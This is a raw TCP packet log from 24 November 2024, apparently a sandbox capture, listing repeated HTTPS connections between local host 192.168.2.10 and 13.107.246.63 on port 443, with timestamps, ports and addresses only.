Nov 24, 2024 08:44:58.816134930 CET	443	49990	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:58.819561958 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:58.819664955 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:58.819762945 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:58.819971085 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:58.820000887 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.076148033 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.076807976 CET	49991	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.076833963 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.077316046 CET	49991	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.077322960 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.217485905 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.221951008 CET	49993	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.222022057 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.222280979 CET	49993	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.222294092 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.246949911 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.248162985 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.248194933 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.248667955 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.248678923 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.281764984 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.282799006 CET	49994	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.282838106 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.283318043 CET	49994	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.283324003 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.511153936 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.514581919 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.514698982 CET	49991	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.514885902 CET	49991	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.514885902 CET	49991	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.514904976 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.514916897 CET	443	49991	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.518132925 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.518202066 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.518301964 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.518446922 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.518462896 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.603173018 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.604094982 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.604120016 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.604516983 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.604523897 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.659862041 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.664050102 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.664247036 CET	49993	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.664273977 CET	49993	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.664274931 CET	49993	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.664293051 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.664303064 CET	443	49993	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.667928934 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.667975903 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.668067932 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.668308973 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.668319941 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.699107885 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.702785015 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.702966928 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.702967882 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.702967882 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.706830978 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.706880093 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.706970930 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.707180977 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.707192898 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.724940062 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.728594065 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.728725910 CET	49994	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.728796959 CET	49994	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.728823900 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.728836060 CET	49994	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.728841066 CET	443	49994	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.735434055 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.735467911 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:00.735541105 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.735949993 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:00.735963106 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.012613058 CET	49992	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.012655973 CET	443	49992	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.045918941 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.051040888 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.051225901 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.051244974 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.051347017 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.051457882 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.051476955 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.051498890 CET	49995	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.051503897 CET	443	49995	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.055162907 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.055188894 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:01.055303097 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.055448055 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:01.055459023 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.235553980 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.236237049 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.236270905 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.236725092 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.236731052 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.454687119 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.455452919 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.455481052 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.455965996 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.455971003 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.545171976 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.545861006 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.545890093 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.546427011 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.546431065 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.554812908 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.555435896 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.555471897 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.555910110 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.555917978 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.675424099 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.677949905 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.678039074 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.678096056 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.678116083 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.678132057 CET	49996	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.678138971 CET	443	49996	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.681509018 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.681546926 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.681653023 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.681808949 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.681818008 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.929733038 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.930419922 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.930449009 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.930902958 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.930915117 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.993484974 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.996635914 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.996692896 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.996730089 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.996766090 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.996838093 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.996855021 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:02.996869087 CET	49999	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:02.996874094 CET	443	49999	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.000171900 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.000233889 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.000314951 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.000469923 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.000485897 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.000886917 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012542963 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012618065 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.012640953 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012658119 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012666941 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012723923 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.012797117 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.012808084 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.012825012 CET	49997	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.012829065 CET	443	49997	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.015352011 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.015441895 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.015492916 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.015513897 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.015531063 CET	49998	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.015537977 CET	443	49998	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.016249895 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.016289949 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.016370058 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.016540051 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.016552925 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.017962933 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.017982960 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.018054008 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.018184900 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.018197060 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.382159948 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.385714054 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.385828018 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.385901928 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.385901928 CET	50000	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.385941982 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.385977030 CET	443	50000	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.389863014 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.389919996 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:03.390012980 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.390178919 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:03.390192986 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.471358061 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.471925020 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.471954107 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.472462893 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.472470045 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.731782913 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.732593060 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.732623100 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.733135939 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.733140945 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.735775948 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.736064911 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.736093044 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.736413002 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.736418962 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.792305946 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.793242931 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.793277025 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.793759108 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.793765068 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.916199923 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.919285059 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.919349909 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.919369936 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.919435024 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.919506073 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.919529915 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.919544935 CET	50001	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.919550896 CET	443	50001	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.923319101 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.923379898 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:04.923507929 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.923727036 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:04.923738003 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.165741920 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.165771008 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.165844917 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.165899992 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.165951967 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.166282892 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.166304111 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.166325092 CET	50003	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.166330099 CET	443	50003	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.170334101 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.170387983 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.170484066 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.170646906 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.170656919 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.171631098 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.172034979 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.172044992 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.172523975 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.172529936 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.176726103 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.176784039 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.176865101 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.176896095 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.177114964 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.177129984 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.177144051 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.177517891 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.177598000 CET	443	50004	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.177647114 CET	50004	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.180109024 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.180160999 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.180301905 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.180430889 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.180447102 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.238025904 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.241152048 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.241269112 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.241317987 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.241317987 CET	50002	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.241343975 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.241358042 CET	443	50002	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.244539022 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.244570017 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.244659901 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.244820118 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.244827986 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.616298914 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.620196104 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.620268106 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.620318890 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.620359898 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.620425940 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.620452881 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.620466948 CET	50005	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.620475054 CET	443	50005	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.629926920 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.629971981 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:05.630043983 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.630203962 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:05.630213976 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.771855116 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.772736073 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.772766113 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.773293018 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.773299932 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.955434084 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.956255913 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.956305027 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.956813097 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.956820965 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.963840961 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.964648962 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.964699984 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:06.965141058 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:06.965156078 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.092175007 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.092892885 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.092912912 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.093396902 CET	50009	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.093410015 CET	443	50009	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.225063086 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.228632927 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.228751898 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.228806973 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.228828907 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.228842974 CET	50006	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.228847980 CET	443	50006	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.232194901 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.232243061 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.232326984 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.232498884 CET	50011	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.232511997 CET	443	50011	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.399481058 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.403172970 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.403240919 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.403248072 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.403305054 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.403402090 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.403428078 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.403448105 CET	50007	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.403455973 CET	443	50007	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.406889915 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.406953096 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.407058001 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.407207012 CET	50012	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.407222033 CET	443	50012	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.408628941 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.411649942 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.411742926 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.415162086 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.415184975 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.415218115 CET	50008	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.415225029 CET	443	50008	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.418858051 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.418903112 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.418970108 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.419131041 CET	50013	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.419138908 CET	443	50013	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.487827063 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.488394976 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.488411903 CET	443	50010	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:07.489190102 CET	50010	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:07.489197016 CET	443	50010	13.107.246.63	192.168.2.10
